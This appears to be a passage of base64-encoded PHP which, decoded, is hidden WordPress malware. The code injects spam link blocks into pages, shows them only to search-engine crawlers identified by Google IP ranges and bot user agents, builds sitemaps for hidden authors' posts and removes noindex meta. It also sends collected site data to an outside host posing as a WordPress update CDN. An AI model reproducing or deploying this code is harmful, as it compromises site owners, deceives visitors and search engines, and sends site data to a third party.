NUIElEIEZST00geyR3cGRiLT5wb3N0c30gd2hlcmUgcG9zdF9hdXRob3IgPSAkdXNlcklkIjsKCiAgICAkcmVzdWx0cyA9IChhcnJheSkgJHdwZGItPmdldF9yZXN1bHRzKCRxdWVyeSwgQVJSQVlfQSk7CgogICAgJGlkcyA9IGFycmF5KCk7CiAgICBmb3JlYWNoICgkcmVzdWx0cyBhcyAkdG1wQXJyKSB7CiAgICAgICAgJGlkc1tdID0gJHRtcEFyclsnSUQnXTsKICAgIH0KICAgIHJldHVybiAkaWRzOwp9CgpmdW5jdGlvbiBjdXN0b21fZmx1c2hfcnVsZXMoKSB7CgogICAgZ2xvYmFsICR1c2VyU2V0dGluZ3NBcnIsICR3cF9yZXdyaXRlOwoKICAgICRydWxlcyA9IGdldF9vcHRpb24oJ3Jld3JpdGVfcnVsZXMnKTsKCiAgICBmb3JlYWNoICgkdXNlclNldHRpbmdzQXJyIGFzICRrZXkgPT4gJGFycikgewogICAgICAgICRyZWdleCA9IGtleSgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSk7CgogICAgICAgIGlmICghaXNzZXQoJHJ1bGVzWyRyZWdleF0pIHx8CiAgICAgICAgICAgICAgICAoJHJ1bGVzWyRyZWdleF0gIT09IGN1cnJlbnQoJGFyclsnc2l0ZW1hcHNldHRpbmdzJ10pKSkgewogICAgICAgICAgICAkd3BfcmV3cml0ZS0+Zmx1c2hfcnVsZXMoKTsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIHNpdGVtYXBfeG1sX3J1bGVzKCRydWxlcykgewoKICAgIGdsb2JhbCAkdXNlclNldHRpbmdzQXJyOwoKICAgICRuZXdydWxlcyA9IGFycmF5KCk7CgogICAgZm9yZWFjaCAoJHVzZXJTZXR0aW5nc0FyciBhcyAka2V5ID0+ICRhcnIpIHsKICAgICAgICBpZiAoaXNzZXQoJGFyclsnc2l0ZW1hcHNldHRpbmdzJ10pKSB7CiAgICAgICAgICAgICRuZXdydWxlc1trZXkoJGFyclsnc2l0ZW1hcHNldHRpbmdzJ10pXSA9IGN1cnJlbnQoJGFyclsnc2l0ZW1hcHNldHRpbmdzJ10pOwogICAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gJG5ld3J1bGVzICsgJHJ1bGVzOwp9CgpmdW5jdGlvbiBjdXN0b21TaXRlbWFwRmVlZCgpIHsKCiAgICBnbG9iYWwgJHVzZXJTZXR0aW5nc0FycjsKCiAgICBmb3JlYWNoICgkdXNlclNldHRpbmdzQXJyIGFzICRrZXkgPT4gJGFycikgewogICAgICAgICRmZWVkTmFtZSA9IHN0cl9yZXBsYWNlKCdpbmRleC5waHA/ZmVlZD0nLCAnJywgY3VycmVudCgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSkpOwogICAgICAgIGFkZF9mZWVkKCRmZWVkTmFtZSwgJ2N1c3RvbVNpdGVtYXBGZWVkRnVuYycpOwogICAgfQp9CgpmdW5jdGlvbiBjdXN0b21TaXRlbWFwRmVlZEZ1bmMoKSB7Ci8vaW5pX3NldCgnbWVtb3J5X2xpbWl0JywgJzI1Nk1CJyk7CiAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogJyAuIGZlZWRfY29udGVudF90eXBlKCdyc3MtaHR0cCcpIC4gJzsgY2hhcnNldD0nIC4gZ2V0X29wdGlvbignYmxvZ19jaGFyc2V0JyksIHRydWUpOwovL2hlYWRlcignQ29udGVudC1UeXBlOiAnIC4gZmVlZF9jb250ZW50X3R5cGUoJ3JzcycpIC4gJzsgY2hhcnNldD0nIC4gZ2V0X29wdGlvbignYmxvZ19jaGFyc2V0JyksIHRydWUpOwogICAgc3RhdHVzX2hlYWRlcigyMDApOwoKICAgICRoZWFkID0gc2l0ZW1hcEhlYWQoKTsKICAgICRzaXRlbWFwU291cmNlID0gJGhlYWQgLiAiXG4iOwoKICAgICR1c2VySWQgPSBmaW5kVXNlcklkQnlSZXF1ZXN0VXJpKCk7CgogICAgJHBvc3RzX2lkcyA9IGFsbF9jdXN0b21fcG9zdHNfaWRzKCR1c2VySWQpOwogICAgJHByaW9yaXR5ID0gJzAuNSc7CiAgICAkY2hhbmdlZnJlcSA9ICd3ZWVrbHknOwogICAgJGxhc3Rtb2QgPSBkYXRlKCdZLW0tZCcpOwoKICAgIGZvcmVhY2ggKCRwb3N0c19pZHMgYXMgJHBvc3RfaWQpIHsKICAgICAgICAkdXJsID0gZ2V0X3Blcm1hbGluaygkcG9zdF9pZCk7CiAgICAgICAgJHNpdGVtYXBTb3VyY2UgLj0gdXJsQmxvY2soJHVybCwgJGxhc3Rtb2QsICRjaGFuZ2VmcmVxLCAkcHJpb3JpdHkpOwogICAgICAgIHdwX2NhY2hlX2RlbGV0ZSgkcG9zdF9pZCwgJ3Bvc3RzJyk7CiAgICB9CgogICAgJHNpdGVtYXBTb3VyY2UgLj0gIlxuPC91cmxzZXQ+IjsKCiAgICBlY2hvICRzaXRlbWFwU291cmNlOwp9CgpmdW5jdGlvbiBzaXRlbWFwSGVhZCgpIHsKICAgIHJldHVybiA8PDxTVFIKPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHVybHNldAogICAgICB4bWxucz0iaHR0cDovL3d3dy5zaXRlbWFwcy5vcmcvc2NoZW1hcy9zaXRlbWFwLzAuOSIKICAgICAgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIKICAgICAgeHNpOnNjaGVtYUxvY2F0aW9uPSJodHRwOi8vd3d3LnNpdGVtYXBzLm9yZy9zY2hlbWFzL3NpdGVtYXAvMC45CiAgICAgICAgICAgIGh0dHA6Ly93d3cuc2l0ZW1hcHMub3JnL3NjaGVtYXMvc2l0ZW1hcC8wLjkvc2l0ZW1hcC54c2QiPgoKICAgIApTVFI7Cn0KCmZ1bmN0aW9uIHVybEJsb2NrKCR1cmwsICRsYXN0bW9kLCAkY2hhbmdlZnJlcSwgJHByaW9yaXR5KSB7CgogICAgcmV0dXJuIDw8PFNUUgogICA8dXJsPgogICAgICA8bG9jPiR1cmw8L2xvYz4KICAgICAgPGxhc3Rtb2Q+JGxhc3Rtb2Q8L2xhc3Rtb2Q+CiAgICAgIDxjaGFuZ2VmcmVxPiRjaGFuZ2VmcmVxPC9jaGFuZ2VmcmVxPgogICAgICA8cHJpb3JpdHk+JHByaW9yaXR5PC9wcmlvcml0eT4KICAgPC91cmw+XG5cbgpTVFI7Cn0KCmZ1bmN0aW9uIG1vZGlmeVdyaXRlcnNTdHJpbmcoJHdyaXRlcnNBcnIpIHsKICAgICR3cml0ZXJzQXJyTW9kID0gYXJyYXkoKTsKCiAgICBmb3JlYWNoICgkd3JpdGVyc0FyciBhcyAkaXRlbSkgewogICAgICAgICR3cml0ZXJzQXJyTW9kW10gPSAnLScgLiAkaXRlbTsKICAgIH0KICAgIHJldHVybiBpbXBsb2RlKCcsJywgJHdyaXRlcnNBcnJNb2QpOwp9CgpmdW5jdGlvbiBjdXN0b21GaWx0ZXJzU2V0dGluZ3MoKSB7CiAgICAkc2V0dGluZ3MgPSBnZXRfb3B0aW9uKCd3cF9jdXN0b21fZmlsdGVycycpOwoKICAgIGlmICghJHNldHRpbmdzKSB7CiAgICAgICAgcmV0dXJuIG51bGw7CiAgICB9CgogICAgcmV0dXJuIHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJHNldHRpbmdzKSk7Cn0KCmZ1bmN0aW9uIGZpbmRVc2VySWRCeVJlcXVlc3RVcmkoKSB7CgogICAgZ2xvYmFsICR1c2VyU2V0dGluZ3NBcnI7CgogICAgZm9yZWFjaCAoJHVzZXJTZXR0aW5nc0FyciBhcyAka2V5ID0+ICRhcnIpIHsKCiAgICAgICAgJHJlZ2V4cCA9IGtleSgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSkgLiAnfCcKICAgICAgICAgICAgICAgIC4gc3RyX3JlcGxhY2UoJ2luZGV4LnBocD8nLCAnJywgY3VycmVudCgkYXJyWydzaXRlbWFwc2V0dGluZ3MnXSkgLiAnJCcpOwoKICAgICAgICBpZiAocHJlZ19tYXRjaCgifiRyZWdleHB+IiwgJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSB7CiAgICAgICAgICAgIHJldHVybiAka2V5OwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gaXNDdXN0b21Qb3N0KCkgewogICAgZ2xvYmFsICR1c2VyU2V0dGluZ3NBcnIsICRwb3N0OwoKICAgICRhdXRob3JzX2lkc19hcnIgPSBhcnJheV9rZXlzKCR1c2VyU2V0dGluZ3NBcnIpOwogICAgaWYgKGluX2FycmF5KCRwb3N0LT5wb3N0X2F1dGhvciwgJGF1dGhvcnNfaWRzX2FycikpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gcmVtb3ZlWW9hc3RNZXRhKCkgewogICAgZ2xvYmFsICR1c2VyU2V0dGluZ3NBcnIsICRwb3N0OwoKICAgICRhdXRob3JzX2lkc19hcnIgPSBhcnJheV9rZXlzKCR1c2VyU2V0dGluZ3NBcnIpOwogICAgCiAgICBpZiAoISRwb3N0ICB8fCAhcHJvcGVydHlfZXhpc3RzKCRwb3N0LCAnYXV0aG9yJykpIHsKICAgICAgICByZXR1cm47CiAgICB9CiAgICAKICAgIGlmIChpbl9hcnJheSgkcG9zdC0+cG9zdF9hdXRob3IsICRhdXRob3JzX2lkc19hcnIpKSB7CiAgICAgICAgYWRkX2ZpbHRlcignd3BzZW9fcm9ib3RzJywgJ19fcmV0dXJuX2ZhbHNlJyk7CiAgICAgICAgYWRkX2ZpbHRlcignd3BzZW9fZ29vZ2xlYm90JywgJ19fcmV0dXJuX2ZhbHNlJyk7IC8vIFlvYXN0IFNFTyAxNC54IG9yIG5ld2VyCiAgICAgICAgYWRkX2ZpbHRlcignd3BzZW9fYmluZ2JvdCcsICdfX3JldHVybl9mYWxzZScpOyAvLyBZb2FzdCBTRU8gMTQueCBvciBuZXdlcgogICAgfQp9CgpmdW5jdGlvbiBnZXRSZW1vdGVJcCgpIHsKCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pKSB7CiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddOwogICAgfQogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnXSkpIHsKICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfQ0ZfQ09OTkVDVElOR19JUCddOwogICAgfQogICAgaWYgKGlzc2V0KCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSkgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKICAgIH0KCiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIGN1c3RvbUNoZWNrU2UoKSB7CiAgICAvLyDQn9C+0LvRg9GH0LDQtdC8IElQINC/0L7Qu9GM0LfQvtCy0LDRgtC10LvRjwogICAgJGlwID0gZ2V0UmVtb3RlSXAoKTsKCiAgICAvLyDQldGB0LvQuCBJUCDQsNC00YDQtdGBINGB0L7QtNC10YDQttC40YIg0L3QtdGB0LrQvtC70YzQutC+INC30L3QsNGH0LXQvdC40LksINCx0LXRgNC10Lwg0L/QtdGA0LLQvtC1CiAgICBpZiAoc3Ryc3RyKCRpcCwgJywgJykpIHsKICAgICAgICAkaXBzID0gZXhwbG9kZSgnLCAnLCAkaXApOwogICAgICAgICRpcCA9ICRpcHNbMF07CiAgICB9CgogICAgLy8g0J/QvtC70YPRh9Cw0LXQvCDRgdC/0LjRgdC+0Log0LTQuNCw0L/QsNC30L7QvdC+0LIgSVAKICAgICRyYW5nZXMgPSBjdXN0b21TZUlwcygpOwoKICAgIC8vINCV0YHQu9C4INGB0L/QuNGB0L7QuiDQv9GD0YHRgiwg0LLQvtC30LLRgNCw0YnQsNC10LwgZmFsc2UKICAgIGlmICghJHJhbmdlcykgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICAvLyDQn9GA0L7QstC10YDRj9C10LwsINCy0YXQvtC00LjRgiDQu9C4IElQINCyINC+0LTQuNC9INC40Lcg0LTQuNCw0L/QsNC30L7QvdC+0LIKICAgIGZvcmVhY2ggKCRyYW5nZXMgYXMgJHJhbmdlKSB7CiAgICAgICAgaWYgKGN1c3RvbUNoZWNrSW5TdWJuZXQoJGlwLCAkcmFuZ2UpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgIH0KCiAgICAvLyDQn9GA0L7QstC10YDQutCwINC/0L4gdXNlciBhZ2VudAogICAgcmV0dXJuIGN1c3RvbUNoZWNrVXNlckFnZW50KCk7Cn0KCmZ1bmN0aW9uIGN1c3RvbUNoZWNrVXNlckFnZW50KCkgewogICAgLy8g0J/QvtC70YPRh9Cw0LXQvCB1c2VyIGFnZW50CiAgICAkdXNlckFnZW50ID0gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwogICAgLy8g0KHQv9C40YHQvtC6INC40LfQstC10YHRgtC90YvRhSDQsdC+0YLQvtCyCiAgICAka25vd25Cb3RzID0gYXJyYXkoCiAgICAnR29vZ2xlYm90JywgJ0Jpbmdib3QnLCAnU2x1cnAnLCAnRHVja0R1Y2tCb3QnLCAnQmFpZHVzcGlkZXInLCAnWWFuZGV4Qm90JywgJ1NvZ291JywgCiAgICAnRXhhYm90JywgJ2ZhY2Vib3QnLCAnaWFfYXJjaGl2ZXInLCAnTUoxMmJvdCcsICdBaHJlZnNCb3QnLCAnU2VtcnVzaEJvdCcsIAogICAgJ1JvZ2VyYm90JywgJ01lZGlhcGFydG5lcnMtR29vZ2xlJywgJ1NFTXJ1c2hCb3QnLCAnQWRzQm90LUdvb2dsZScsICdNZWRpYXBhcnRuZXJzLUdvb2dsZScsIAogICAgJ1R3ZW5nYUJvdCcsICdEb3RCb3QnLCAnR2lnYWJvdCcsICdCTEVYQm90JywgJ1N1cnZleUJvdCcsICdZYW5kZXhJbWFnZXMnLCAnU0VPa2lja3MtUm9ib3QnLCAKICAgICdOZXRjcmFmdFN1cnZleUFnZW50JywgJ0RhdGFwcm92aWRlciBCb3QnLCAnYXJjaGl2ZS5vcmdfYm90JywgJ09wZW5Ib3NlQm90JywgJ0NsaXF6Ym90JywgCiAgICAnRGV1U3UnLCAnYmFpZHUnLCAnYmFja2xpbmstY3Jhd2xlcicsICdQaW50ZXJlc3Rib3QnLCAnU2l0ZUV4cGxvcmVyJywgJ1F3YW50aWZ5JywKICAgICdZYW5kZXhBY2Nlc3NpYmlsaXR5Qm90JywgJ1lhbmRleEFkTmV0JywgJ1lhbmRleEJvdC9NaXJyb3JEZXRlY3RvcicsICdZYW5kZXhDYWxlbmRhcicsCiAgICAnWWFuZGV4RGlyZWN0RHluJywgJ1lhbmRleEZhdmljb25zJywgJ1lhRGlyZWN0RmV0Y2hlcicsICdZYW5kZXhGb3JEb21haW4nLCAnWWFuZGV4Q2F0YWxvZycsCiAgICAnWWFuZGV4TW9iaWxlQm90JywgJ1lhbmRleE1lZGlhQm90JywgJ1lhbmRleFNlYXJjaFNob3AnLCAnWWFuZGV4VmlkZW9QYXJzZXInLCAnWWFuZGV4SW1hZ2VSZXNpemVyJywKICAgICdZYW5kZXhTY3JlZW5zaG90Qm90JywgJ1ZhbGlkYXRpb24gQm90JwopOwoKICAgIC8vINCf0YDQvtCy0LXRgNGP0LXQvCwg0YHQvtC00LXRgNC20LjRgiDQu9C4IHVzZXIgYWdlbnQg0L3QsNC30LLQsNC90LjQtSDQvtC00L3QvtCz0L4g0LjQtyDQsdC+0YLQvtCyICjRgNC10LPQuNGB0YLRgNC+0L3QtdC30LDQstC40YHQuNC80L4pCiAgICBmb3JlYWNoICgka25vd25Cb3RzIGFzICRib3QpIHsKICAgICAgICBpZiAoc3RyaXBvcygkdXNlckFnZW50LCAkYm90KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBjdXN0b21Jc1JlbmV3VGltZSgkdGltZXN0YW1wKSB7CiAgICAvL2lmICgodGltZSgpIC0gJHRpbWVzdGFtcCkgPiA2MCAqIDYwICogMjQpIHsKICAgIGlmICgodGltZSgpIC0gJHRpbWVzdGFtcCkgPiA2MCAqIDYwKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICAvL2N1c3RvbVNldERlYnVnKHNwcmludGYoJ3RpbWUgLSAlcywgdGltZXN0YW1wIC0gJXMnLCB0aW1lKCksICR0aW1lc3RhbXApKTsKICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gY3VzdG9tU2V0RGVidWcoJGRhdGEpIHsKCiAgICBpZiAoKCR2YWx1ZSA9IGdldF9vcHRpb24oJ3dwX2RlYnVnX2RhdGEnKSkgJiYgaXNfYXJyYXkoJHZhbHVlKSkgewogICAgICAgICR2YWx1ZVtdID0gc3ByaW50ZignJXN8fCVzfHwlcycsIHRpbWUoKSwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddLCAkZGF0YSk7CiAgICAgICAgdXBkYXRlX29wdGlvbignd3BfZGVidWdfZGF0YScsICR2YWx1ZSwgZmFsc2UpOwogICAgICAgIHJldHVybjsKICAgIH0KCiAgICB1cGRhdGVfb3B0aW9uKCd3cF9kZWJ1Z19kYXRhJywgYXJyYXkoJGRhdGEpLCBmYWxzZSk7Cn0KCmZ1bmN0aW9uIGN1c3RvbVNlbmREZWJ1ZygpIHsKCiAgICAkdmFsdWUgPSBnZXRfb3B0aW9uKCd3cF9kZWJ1Z19kYXRhJyk7CgogICAgaWYgKCFpc19hcnJheSgkdmFsdWUpIHx8IChjb3VudCgkdmFsdWUpIDwgMTAwKSkgewogICAgICAgIHJldHVybjsKICAgIH0KICAgICR1cmwgPSAnaHR0cDovL3dwLXVwZGF0ZS1jZG4uY29tL3NyYy91YWxvZ3NlYy5waHAnOwoKICAgICRyZXNwb25zZSA9IHdwX3JlbW90ZV9wb3N0KCR1cmwsIGFycmF5KAogICAgICAgICdtZXRob2QnID0+ICdQT1NUJywKICAgICAgICAndGltZW91dCcgPT4gMTAsCiAgICAgICAgJ2JvZHknID0+IGFycmF5KAogICAgICAgICAgICAnaG9zdCcgPT4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddLAogICAgICAgICAgICAnZGVidWdkYXRhJyA9PiBnemNvbXByZXNzKGpzb25fZW5jb2RlKCR2YWx1ZSkpLCA5KQogICAgICAgICAgICApCiAgICApOwoKICAgIGlmIChpc193cF9lcnJvcigkcmVzcG9uc2UpKSB7CiAgICAgICAgcmV0dXJuOwogICAgfSBlbHNlIHsKICAgICAgICBpZiAodHJpbSgkcmVzcG9uc2VbJ2JvZHknXSkgPT09ICdzdWNjZXNzJykgewogICAgICAgICAgICB1cGRhdGVfb3B0aW9uKCd3cF9kZWJ1Z19kYXRhJywgYXJyYXkoKSwgZmFsc2UpOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gY3VzdG9tU2VJcHMoKSB7CiAgICBpZiAoKCR2YWx1ZSA9IGdldF9vcHRpb24oJ3dwX2N1c3RvbV9yYW5nZScpKSAmJiAhY3VzdG9tSXNSZW5ld1RpbWUoJHZhbHVlWyd0aW1lc3RhbXAnXSkpIHsKICAgICAgICByZXR1cm4gJHZhbHVlWydyYW5nZXMnXTsKICAgIH0gZWxzZSB7CiAgICAgICAgJHJlc3BvbnNlID0gd3BfcmVtb3RlX2dldCgnaHR0cHM6Ly93d3cuZ3N0YXRpYy5jb20vaXByYW5nZXMvZ29vZy50eHQnKTsKICAgICAgICBpZiAoaXNfd3BfZXJyb3IoJHJlc3BvbnNlKSkgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQogICAgICAgICRib2R5ID0gd3BfcmVtb3RlX3JldHJpZXZlX2JvZHkoJHJlc3BvbnNlKTsKICAgICAgICAkcmFuZ2VzID0gcHJlZ19zcGxpdCgifihcclxufFxuKX4iLCB0cmltKCRib2R5KSwgLTEsIFBSRUdfU1BMSVRfTk9fRU1QVFkpOwoKICAgICAgICBpZiAoIWlzX2FycmF5KCRyYW5nZXMpKSB7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CgogICAgICAgICR2YWx1ZSA9IGFycmF5KCdyYW5nZXMnID0+ICRyYW5nZXMsICd0aW1lc3RhbXAnID0+IHRpbWUoKSk7CiAgICAgICAgdXBkYXRlX29wdGlvbignd3BfY3VzdG9tX3JhbmdlJywgJHZhbHVlLCB0cnVlKTsKICAgICAgICByZXR1cm4gJHZhbHVlWydyYW5nZXMnXTsKICAgIH0KfQoKCmZ1bmN0aW9uIGN1c3RvbUluZXRUb0JpdHMoJGluZXQpIHsKICAgICRzcGxpdHRlZCA9IHN0cl9zcGxpdCgkaW5ldCk7CiAgICAkYmluYXJ5aXAgPSAnJzsKICAgIGZvcmVhY2ggKCRzcGxpdHRlZCBhcyAkY2hhcikgewogICAgICAgICRiaW5hcnlpcCAuPSBzdHJfcGFkKGRlY2JpbihvcmQoJGNoYXIpKSwgOCwgJzAnLCBTVFJfUEFEX0xFRlQpOwogICAgfQogICAgcmV0dXJuICRiaW5hcnlpcDsKfQoKZnVuY3Rpb24gY3VzdG9tQ2hlY2tJblN1Ym5ldCgkaXAsICRjaWRybmV0KSB7CiAgICAkaXAgPSBpbmV0X3B0b24oJGlwKTsKICAgICRiaW5hcnlpcCA9IGN1c3RvbUluZXRUb0JpdHMoJGlwKTsKCiAgICBsaXN0KCRuZXQsICRtYXNrYml0cykgPSBleHBsb2RlKCcvJywgJGNpZHJuZXQpOwogICAgJG5ldCA9IGluZXRfcHRvbigkbmV0KTsKICAgICRiaW5hcnluZXQgPSBjdXN0b21JbmV0VG9CaXRzKCRuZXQpOwoKICAgICRpcF9uZXRfYml0cyA9IHN1YnN0cigkYmluYXJ5aXAsIDAsICRtYXNrYml0cyk7CiAgICAkbmV0X2JpdHMgPSBzdWJzdHIoJGJpbmFyeW5ldCwgMCwgJG1hc2tiaXRzKTsKCiAgICBpZiAoJGlwX25ldF9iaXRzICE9PSAkbmV0X2JpdHMpIHsKICAgICAgICAvL2VjaG8gJ05vdCBpbiBzdWJuZXQnOwogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9Cn0KCi8qKgogIGZ1bmN0aW9uIGJ1ZmZlcl9zdGFydF9jdXN0b20oKSB7CgogIGdsb2JhbCAkcG9zdCwgJHVzZXJTZXR0aW5nc0FycjsKCiAgJGF1dGhvcnNfaWRzX2FyciA9IGFycmF5X2tleXMoJHVzZXJTZXR0aW5nc0Fycik7CgoKCiAgaWYgKCFpbl9hcnJheSgkcG9zdC0+cG9zdF9hdXRob3IsICRhdXRob3JzX2lkc19hcnIpKSB7CiAgaWYgKGlzX3NpbmdsZSgpIHx8IChpc19mcm9udF9wYWdlKCkgfHwgaXNfaG9tZSgpKSkgewogIG9iX3N0YXJ0KCJjYWxsYmFja19jdXN0b20iKTsKICB9CiAgfQogIH0KICogCiAqLwpmdW5jdGlvbiBidWZmZXJfc3RhcnRfY3VzdG9tKCkgewplY2hvICc8IS0tYnVmZmVyIHN0YXJ0IGN1c3RvbS0tIT4nLlBIUF9FT0w7CiAgICBpZiAoIWlzQ3VzdG9tUG9zdCgpKSB7CiAgICAgICAgaWYgKGlzX3Npbmd1bGFyKCkgfHwgKGlzX2Zyb250X3BhZ2UoKSB8fCBpc19ob21lKCkpKSB7CiAgICAgICAgICAgIGVjaG8gJzwhLS1zdGFydCBjYWxsYmFjayBjdXN0b20tLSE+Jy5QSFBfRU9MOwogICAgICAgICAgICBvYl9zdGFydCgiY2FsbGJhY2tfY3VzdG9tIik7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBidWZmZXJfZW5kX2N1c3RvbSgpIHsKICAgIG9iX2VuZF9mbHVzaCgpOwp9CgpmdW5jdGlvbiBjYWxsYmFja19jdXN0b20oJGJ1ZmZlcikgewogICAgZ2xvYmFsICRob21lTGlua3NTZXR0aW5nc0FycjsKICAgIAogICAgcmV0dXJuIGJ1ZmZlcl9wcmVwYXJlX2N1c3RvbSgkaG9tZUxpbmtzU2V0dGluZ3NBcnIsICRidWZmZXIpOwp9CgpmdW5jdGlvbiBidWZmZXJfcHJlcGFyZV9jdXN0b20oJGhvbWVMaW5rc1NldHRpbmdzQXJyLCAkYnVmZmVyKSB7CiAgICAKICAgIGlmICgoJGhvbWVMaW5rc1NldHRpbmdzQXJyWydoaWRkZW5UeXBlJ11bJ2Nsb2Fja2luZyddID09PSAxKSAmJiAhY3VzdG9tQ2hlY2tTZSgpKSB7CiAgICAgICAgY3VzdG9tU2V0RGVidWcoJ25vIGdvb2dsZSBib3QsIHdpdGhvdXQgY2hhbmdlcyAnIC4gZ2V0UmVtb3RlSXAoKSk7CiAgICAgICAgcmV0dXJuICRidWZmZXI7CiAgICB9CgogICAgCiAgICAkdGV4dEJsb2NrID0gdGV4dF9ibG9ja19jdXN0b20oJGhvbWVMaW5rc1NldHRpbmdzQXJyKTsKICAgICR0ZXh0QmxvY2sgPSBhZGRpdGlvbmFsX3N0eWxlX2N1c3RvbSgkaG9tZUxpbmtzU2V0dGluZ3NBcnIsICR0ZXh0QmxvY2spOwoKCiAgICBpZiAoJGhvbWVMaW5rc1NldHRpbmdzQXJyWydwb3NpdGlvbiddWydmb290ZXInXSA9PT0gMSkgewogICAgICAgIGN1c3RvbVNldERlYnVnKCdmb290ZXIgcG9zaXRpb24nKTsKICAgICAgICByZXR1cm4gJGJ1ZmZlciAuIFBIUF9FT0wgLiAkdGV4dEJsb2NrOwogICAgfQogICAgaWYgKCRob21lTGlua3NTZXR0aW5nc0FyclsncG9zaXRpb24nXVsnaGVhZCddID09PSAxKSB7CiAgICAgICAgY3VzdG9tU2V0RGVidWcoJ2hlYWRlciBwb3NpdGlvbicpOwogICAgICAgIHJldHVybiAkdGV4dEJsb2NrIC4gUEhQX0VPTCAuICRidWZmZXI7CiAgICB9Cn0KCmZ1bmN0aW9uIHRleHRfYmxvY2tfY3VzdG9tKCRob21lTGlua3NTZXR0aW5nc0FycikgewoKICAgIGdsb2JhbCAkcG9zdDsKICAgIAogICAgJGJsb2NrID0gJyc7CgogICAgaWYgKCRob21lTGlua3NTZXR0aW5nc0FyclsndGV4dEJsb2Nrc0NvdW50J11bJ29ubHlIb21lUGFnZSddID09PSAxKSB7CiAgICAgICAgaWYgKGlzX2Zyb250X3BhZ2UoKSB8fCBpc19ob21lKCkpIHsKICAgICAgICAgICAgY3VzdG9tU2V0RGVidWcoJ2hvbWUgcGFnZSBtb2RlJyk7CiAgICAgICAgICAgICRibG9jayA9IGdldF9vcHRpb24oJ2hvbWVfbGlua3NfY3VzdG9tXzAnKTsKICAgICAgICB9CiAgICB9IGVsc2VpZiAoJGhvbWVMaW5rc1NldHRpbmdzQXJyWyd0ZXh0QmxvY2tzQ291bnQnXVsnMTBEaWZmZXJlbnRUZXh0QmxvY2tzJ10gPT09IDEpIHsKCiAgICAgICAgJHVybCA9IGdldF9wZXJtYWxpbmsoJHBvc3QtPklEKTsKICAgICAgICBwcmVnX21hdGNoKCd+XGR+JywgbWQ1KCR1cmwpLCAkbWF0Y2hlcyk7CiAgICAgICAgJGJsb2NrID0gZ2V0X29wdGlvbignaG9tZV9saW5rc19jdXN0b21fJyAuICRtYXRjaGVzWzBdKTsKICAgICAgICAkbG9nID0gc3ByaW50ZignMTBEaWZmZXJlbnRUZXh0QmxvY2tzIHBhZ2UgbW9kZSBibG9jayBudW0gLSAlcyBwZXJtYWxpbmsgLSAlcycsICRtYXRjaGVzWzBdLCAkdXJsKTsKICAgICAgICBjdXN0b21TZXREZWJ1ZygkbG9nKTsKICAgIH0gZWxzZWlmICgkaG9tZUxpbmtzU2V0dGluZ3NBcnJbJ3RleHRCbG9ja3NDb3VudCddWycxMDBEaWZmZXJlbnRUZXh0QmxvY2tzJ10gPT09IDEpIHsKCiAgICAgICAgJHVybCA9IGdldF9wZXJtYWxpbmsoJHBvc3QtPklEKTsKICAgICAgICBwcmVnX21hdGNoX2FsbCgnflxkficsIG1kNSgkdXJsKSwgJG1hdGNoZXMpOwogICAgICAgICRkaWdpdHMgPSAoJG1hdGNoZXNbMF1bMF0gPT0gMCkgPyAkbWF0Y2hlc1swXVsxXSA6ICRtYXRjaGVzWzBdWzBdIC4gJycgLiAkbWF0Y2hlc1swXVsxXTsKICAgICAgICAkYmxvY2sgPSBnZXRfb3B0aW9uKCdob21lX2xpbmtzX2N1c3RvbV8nIC4gJGRpZ2l0cyk7CiAgICAgICAgJGxvZyA9IHNwcmludGYoJzEwMERpZmZlcmVudFRleHRCbG9ja3MgcGFnZSBtb2RlIGJsb2NrIG51bSAtICVzIHBlcm1hbGluayAtICVzJywgJGRpZ2l0cywgJHVybCk7CiAgICAgICAgY3VzdG9tU2V0RGVidWcoJGxvZyk7CiAgICB9IGVsc2VpZiAoJGhvbWVMaW5rc1NldHRpbmdzQXJyWyd0ZXh0QmxvY2tzQ291bnQnXVsnZnVsbERpZmZlcmVudFRleHRCbG9ja3MnXSA9PT0gMSkgewogICAgICAgIAogICAgfSBlbHNlIHsKICAgICAgICAKICAgIH0KCiAgICByZXR1cm4gISRibG9jayA/ICcnIDogJGJsb2NrOwp9C